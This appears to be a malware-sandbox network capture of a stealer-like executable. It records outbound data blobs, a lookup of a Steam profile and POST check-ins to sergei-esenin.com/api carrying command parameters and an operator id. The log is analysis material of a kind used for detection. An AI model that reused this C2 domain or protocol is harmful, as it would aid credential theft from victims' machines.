2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 61 d0 60 d2 cd af eb 7b ec d3 7b a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c Data Ascii: a`{{J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM._
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 30 18 5a b1 df d6 22 00 f2 7a f0 fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 Data Ascii: 0Z"z}w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5II
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: f3 c2 ca c2 4a 75 eb ea c2 57 c6 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 Data Ascii: JuWZmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: c4 38 2e e7 88 f5 3d f0 cc d6 73 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 Data Ascii: 8.=s1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 23 ae a1 b4 9f e0 25 78 c8 8b db 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 Data Ascii: #%xk*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbU
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 35 64 68 66 12 b0 31 7a 5b 46 eb bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 Data Ascii: 5dhf1z[F6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTED
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 7b 7e 73 a4 ef c3 fd 0d 85 5f a0 e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 Data Ascii: {~s_P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: aa c9 a7 8e da d3 72 28 49 07 63 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba Data Ascii: r(Ic{1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 76 e8 59 88 3b 0d 9b ce 82 ec c6 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 Data Ascii: vY;ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5G
2024-10-18 13:04:51 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3etfst8jvtb9t0u8tedltp9npr; expires=Tue, 11 Feb 2025 06:51:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3OOPwvvR3ykQiqFtb9FRymfei9Xrx4eWXjX50CixlHfL9aBTGrOah61sI5Q5UztWaJ66OBBeuQz%2FTC1HKgcTEagq%2B95Q4AWzzHIFL6gRMPcDDsF1xFuxIYGt2H4uNJRTn1ku7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc4b8894e932-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1119&sent=230&recv=606&lost=0&retrans=0&sent_bytes=2845&recv_bytes=569740&delivery_rate=2540350&cwnd=249&unsent_bytes=0&cid=3d316e33dfdf136f&ts=11277&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50001	104.102.49.254	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:45 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-18 13:04:46 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 18 Oct 2024 13:04:45 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=dea961f5fe416febd3d13905; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-18 13:04:46 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-18 13:04:46 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-18 13:04:46 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50012	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:46 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-18 13:04:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-18 13:04:47 UTC	562	IN	HTTP/1.1 403 Forbidden Date: Fri, 18 Oct 2024 13:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oNSBwyj3862PKaCNDvzaVv5wdgeVM4qISTqaodKW9ZEfMIg26%2Fp7tFAnJmKxE%2F1fhak18WhGjnw9nVmZ7%2BNgBQNehUrbKJKOwXwubiSmdXCSu1zcnb%2FbTBtAefmDDU4ZJnP4Lw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc759d296b0d-DFW
2024-10-18 13:04:47 UTC	807	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-18 13:04:47 UTC	1369	IN	Data Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
2024-10-18 13:04:47 UTC	1369	IN	Data Raw: 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-18 13:04:47 UTC	899	IN	Data Raw: 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 Data Ascii: 86</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-land
2024-10-18 13:04:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50018	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:47 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-18 13:04:47 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
